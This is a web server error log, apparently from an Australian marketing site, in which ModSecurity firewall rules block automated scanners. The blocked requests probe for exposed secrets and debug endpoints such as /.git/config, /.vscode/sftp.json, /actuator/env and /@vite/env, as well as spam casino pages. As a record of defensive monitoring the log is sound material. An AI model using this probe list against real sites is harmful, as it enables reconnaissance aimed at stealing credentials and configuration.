[Fri Apr 24 10:17:14.900045 2026] [:error] [pid 17720:tid 17770] [client 167.99.210.137:50844] [client 167.99.210.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aerSquhlUs6BS3Ng7_Wh3wAAANA"]
[Fri Apr 24 10:17:19.056929 2026] [:error] [pid 17719:tid 17734] [client 167.99.210.137:50908] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/gql"] [unique_id "aerSr8TZ9gzEyL1BkPrCkAAAAIc"]
[Fri Apr 24 10:17:19.811915 2026] [:error] [pid 17808:tid 17821] [client 167.99.210.137:50910] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aerSr-arbOEFI8qshvIwNwAAAEs"]
[Fri Apr 24 10:17:20.812786 2026] [:error] [pid 17808:tid 17814] [client 167.99.210.137:50914] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.json"] [unique_id "aerSsOarbOEFI8qshvIwPgAAAEQ"]
[Fri Apr 24 10:17:21.812601 2026] [:error] [pid 17719:tid 17739] [client 167.99.210.137:37028] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/telescope/requests"] [unique_id "aerSscTZ9gzEyL1BkPrClQAAAIw"]
[Fri Apr 24 10:17:22.813339 2026] [:error] [pid 17721:tid 17790] [client 167.99.210.137:37030] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aerSsuFXXkLeyDnfk_9xLAAAAAk"]
[Fri Apr 24 10:17:23.811932 2026] [:error] [pid 17808:tid 17812] [client 167.99.210.137:37038] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aerSs-arbOEFI8qshvIwQQAAAEI"]
[Fri Apr 24 10:17:24.822436 2026] [:error] [pid 17721:tid 17787] [client 167.99.210.137:37050] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/security.txt"] [unique_id "aerStOFXXkLeyDnfk_9xOQAAAAY"]
[Fri Apr 24 10:17:25.814391 2026] [:error] [pid 17808:tid 17831] [client 167.99.210.137:37066] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/actuator/env"] [unique_id "aerStearbOEFI8qshvIwRQAAAFU"]
[Fri Apr 24 10:17:27.815316 2026] [:error] [pid 17720:tid 17774] [client 167.99.210.137:37070] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger-ui.html"] [unique_id "aerSt-hlUs6BS3Ng7_WiIQAAANQ"]
[Fri Apr 24 10:17:28.815695 2026] [:error] [pid 17720:tid 17755] [client 167.99.210.137:37076] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger/index.html"] [unique_id "aerSuOhlUs6BS3Ng7_WiJgAAAME"]
[Fri Apr 24 10:17:29.816087 2026] [:error] [pid 17808:tid 17821] [client 167.99.210.137:37092] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger/swagger-ui.html"] [unique_id "aerSuearbOEFI8qshvIwTAAAAEs"]
[Fri Apr 24 10:17:30.815860 2026] [:error] [pid 17721:tid 17805] [client 167.99.210.137:37106] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/webjars/swagger-ui/index.html"] [unique_id "aerSuuFXXkLeyDnfk_9xVwAAABg"]
[Fri Apr 24 10:17:31.818890 2026] [:error] [pid 17719:tid 17741] [client 167.99.210.137:40790] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger.json"] [unique_id "aerSu8TZ9gzEyL1BkPrCnwAAAI4"]
[Fri Apr 24 10:17:32.835527 2026] [:error] [pid 17808:tid 17814] [client 167.99.210.137:40802] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/swagger/v1/swagger.json"] [unique_id "aerSvOarbOEFI8qshvIwWgAAAEQ"]
[Fri Apr 24 10:17:33.835539 2026] [:error] [pid 17720:tid 17764] [client 167.99.210.137:40816] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2/api-docs"] [unique_id "aerSvehlUs6BS3Ng7_WiNwAAAMo"]
[Fri Apr 24 10:17:34.661345 2026] [:error] [pid 17808:tid 17816] [client 165.227.84.14:57066] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.measureyourbrand.com.au|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.measureyourbrand.com.au"] [uri "/trace.axd"] [unique_id "aerSvuarbOEFI8qshvIwhAAAAEY"]
[Fri Apr 24 10:17:34.825346 2026] [:error] [pid 17719:tid 17746] [client 167.99.210.137:40820] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3/api-docs"] [unique_id "aerSvsTZ9gzEyL1BkPrCqAAAAJM"]
[Fri Apr 24 10:17:35.815001 2026] [:error] [pid 17808:tid 17820] [client 167.99.210.137:40836] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aerSv-arbOEFI8qshvIwkgAAAEo"]
[Fri Apr 24 10:17:36.829858 2026] [:error] [pid 17720:tid 17767] [client 167.99.210.137:40842] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/swagger.json"] [unique_id "aerSwOhlUs6BS3Ng7_WiPgAAAM0"]
[Fri Apr 24 10:17:37.820395 2026] [:error] [pid 17808:tid 17822] [client 167.99.210.137:40856] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/trace.axd"] [unique_id "aerSwearbOEFI8qshvIwqAAAAEw"]
[Fri Apr 24 10:17:38.819676 2026] [:error] [pid 17719:tid 17737] [client 167.99.210.137:40870] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/@vite/env"] [unique_id "aerSwsTZ9gzEyL1BkPrCtAAAAIo"]
[Fri Apr 24 10:17:39.823883 2026] [:error] [pid 17808:tid 17818] [client 167.99.210.137:40874] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aerSw-arbOEFI8qshvIwsAAAAEg"]
[Fri Apr 24 10:17:40.823727 2026] [:error] [pid 17808:tid 17818] [client 167.99.210.137:40882] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aerSxOarbOEFI8qshvIwyQAAAEg"]
[Fri Apr 24 10:17:41.820888 2026] [:error] [pid 17808:tid 17831] [client 167.99.210.137:44386] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aerSxearbOEFI8qshvIw0QAAAFU"]
[Fri Apr 24 10:17:42.825437 2026] [:error] [pid 17720:tid 17773] [client 167.99.210.137:44400] [client 167.99.210.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/debug/default/view"] [unique_id "aerSxuhlUs6BS3Ng7_WiUwAAANM"]
[Fri Apr 24 10:18:03.217186 2026] [rewrite:error] [pid 17720:tid 17770] [client 103.196.9.138:57420] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Fri Apr 24 10:32:04.852207 2026] [:error] [pid 17808:tid 17827] [client 194.26.192.182:59394] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWJOarbOEFI8qshvI74QAAAFE"]
[Fri Apr 24 10:32:05.136526 2026] [:error] [pid 17719:tid 17748] [client 194.26.192.182:59449] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWJcTZ9gzEyL1BkPrHMAAAAJU"]
[Fri Apr 24 10:32:05.886840 2026] [:error] [pid 17808:tid 17831] [client 194.26.192.182:59617] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWJearbOEFI8qshvI8MQAAAFU"]
[Fri Apr 24 10:32:06.160366 2026] [:error] [pid 17808:tid 17811] [client 194.26.192.182:59757] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWJuarbOEFI8qshvI8OwAAAEE"]
[Fri Apr 24 10:32:06.909869 2026] [:error] [pid 17719:tid 17749] [client 194.26.192.182:60216] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWJsTZ9gzEyL1BkPrHbAAAAJY"]
[Fri Apr 24 10:32:07.204471 2026] [:error] [pid 17808:tid 17825] [client 194.26.192.182:60380] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWJ-arbOEFI8qshvI8dAAAAE8"]
[Fri Apr 24 10:32:07.927479 2026] [:error] [pid 17808:tid 17831] [client 194.26.192.182:60959] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWJ-arbOEFI8qshvI8ogAAAFU"]
[Fri Apr 24 10:32:08.297061 2026] [:error] [pid 17720:tid 17772] [client 194.26.192.182:61131] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWKOhlUs6BS3Ng7_WobQAAANI"]
[Fri Apr 24 10:32:08.942787 2026] [:error] [pid 17720:tid 17778] [client 194.26.192.182:61591] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWKOhlUs6BS3Ng7_WoeQAAANg"]
[Fri Apr 24 10:32:09.357035 2026] [:error] [pid 17721:tid 17797] [client 194.26.192.182:61797] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerWKeFXXkLeyDnfk_97cQAAABA"]
[Fri Apr 24 11:27:49.949779 2026] [rewrite:error] [pid 17719:tid 17746] [client 103.4.251.165:24620] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Fri Apr 24 12:02:16.323899 2026] [:error] [pid 17719:tid 17747] [client 51.83.9.87:57920] [client 51.83.9.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aerrSMTZ9gzEyL1BkPoEQQAAAJQ"]
[Fri Apr 24 12:02:18.680776 2026] [:error] [pid 17719:tid 17745] [client 51.83.9.87:59456] [client 51.83.9.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aerrSsTZ9gzEyL1BkPoERQAAAJI"]
[Fri Apr 24 12:02:21.099182 2026] [:error] [pid 17719:tid 17732] [client 51.83.9.87:59472] [client 51.83.9.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aerrTcTZ9gzEyL1BkPoETQAAAIU"]
[Fri Apr 24 12:02:23.371519 2026] [:error] [pid 17808:tid 17834] [client 51.83.9.87:59482] [client 51.83.9.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aerrT-arbOEFI8qshvJt9gAAAFg"]
[Fri Apr 24 12:02:25.960132 2026] [:error] [pid 17719:tid 17747] [client 51.83.9.87:59484] [client 51.83.9.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aerrUcTZ9gzEyL1BkPoEVAAAAJQ"]
[Fri Apr 24 12:02:28.529166 2026] [:error] [pid 17720:tid 17775] [client 51.83.9.87:60064] [client 51.83.9.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aerrVOhlUs6BS3Ng7_XVbQAAANU"]
[Fri Apr 24 12:02:31.047883 2026] [:error] [pid 17721:tid 17805] [client 51.83.9.87:60076] [client 51.83.9.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aerrV-FXXkLeyDnfk_-ingAAABg"]
[Fri Apr 24 13:48:27.690509 2026] [:error] [pid 22114:tid 22139] [client 37.19.221.235:58848] [client 37.19.221.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.19.221.235, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aesEK4AuWGz3WlMQjoehegAAARY"]
[Fri Apr 24 13:48:32.058084 2026] [:error] [pid 17719:tid 17743] [client 182.40.104.255:33298] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aesEMMTZ9gzEyL1BkPpAXgAAAJA"]
[Fri Apr 24 14:10:42.069397 2026] [:error] [pid 17808:tid 17825] [client 108.12.20.67:58144] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aesJYuarbOEFI8qshvKf-gAAAE8"]
[Fri Apr 24 14:10:44.307977 2026] [:error] [pid 17719:tid 17748] [client 108.12.20.67:37948] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aesJZMTZ9gzEyL1BkPpMswAAAJU"]
[Fri Apr 24 14:10:46.622464 2026] [:error] [pid 17808:tid 17829] [client 108.12.20.67:37962] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aesJZuarbOEFI8qshvKgBwAAAFM"]
[Fri Apr 24 14:10:49.002588 2026] [:error] [pid 17808:tid 17816] [client 108.12.20.67:56284] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aesJaearbOEFI8qshvKgDgAAAEY"]
[Fri Apr 24 14:10:51.171480 2026] [:error] [pid 17719:tid 17736] [client 108.12.20.67:56300] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aesJa8TZ9gzEyL1BkPpMtwAAAIk"]
[Fri Apr 24 14:10:53.485514 2026] [:error] [pid 17719:tid 17728] [client 108.12.20.67:56310] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aesJbcTZ9gzEyL1BkPpMyQAAAIE"]
[Fri Apr 24 14:10:55.816574 2026] [:error] [pid 17719:tid 17736] [client 108.12.20.67:56318] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aesJb8TZ9gzEyL1BkPpM1gAAAIk"]
[Fri Apr 24 14:10:58.189298 2026] [:error] [pid 17808:tid 17832] [client 108.12.20.67:35718] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aesJcuarbOEFI8qshvKgEwAAAFY"]
[Fri Apr 24 14:11:00.387193 2026] [:error] [pid 17719:tid 17748] [client 108.12.20.67:35720] [client 108.12.20.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aesJdMTZ9gzEyL1BkPpM2wAAAJU"]
